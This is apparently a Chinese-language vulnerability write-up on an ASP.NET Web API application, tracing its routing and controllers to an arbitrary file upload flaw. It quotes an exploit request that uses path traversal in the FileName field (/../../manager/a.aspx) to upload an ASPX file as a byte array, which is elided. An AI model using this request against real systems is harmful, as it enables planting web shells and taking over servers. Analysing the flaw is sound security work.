<p blockindex=7><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=8>通过<code>WebApiConfig.Register</code>可以看到这里定义了通过api访问的路由,定义了包含控制器和方法</p>
|
||||
<p blockindex=9>在 ASP.NET Web API 中,<em>控制器</em>是处理 HTTP 请求的类。控制器的公共方法称为<em>操作方法</em>或简称为<em>action</em>。当 Web API 框架收到请求时,它将请求路由到操作。</p>
|
||||
<p blockindex=10><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=11>然后在<code>WebApi.Areas.Api.Controllers</code>命名空间中寻找到所有控制器和方法</p>
|
||||
<p blockindex=12><img src="data:image/png;base64,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 truncated
|
||||
<h1 blockindex=13>0x02 漏洞分析</h1>
|
||||
<p blockindex=14>首先查看payload</p>
|
||||
<pre blockindex=15><code class="hljs language-php">POST /api/files/UploadFile HTTP/<span class=hljs-number>1.1</span>
|
||||
Host: your-ip
|
||||
Accept-Encoding: gzip
|
||||
User-Agent: Mozilla/<span class=hljs-number>5.0</span> (Macintosh; Intel Mac OS X <span class=hljs-number>10_14_3</span>) AppleWebKit/<span class=hljs-number>605.1</span>.<span class=hljs-number>15</span> (KHTML, like Gecko) Version/<span class=hljs-number>12.0</span>.<span class=hljs-number>3</span> Safari/<span class=hljs-number>605.1</span>.<span class=hljs-number>15</span>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: <span class=hljs-number>1926</span>
|
||||
|
||||
token=zxh&FileName=/../../manager/a.aspx&pathType=<span class=hljs-number>1</span>&fs=[<span class=hljs-number>60</span>,<span class=hljs-number>37</span>,<span class=hljs-number>64</span>,...]
|
||||
</code></pre>
|
||||
<p blockindex=16>通过路由<code>/api/files/UploadFile</code>锁定<code>WebApi.Areas.Api.Controllers.filesController.UploadFile</code>方法</p>
|
||||
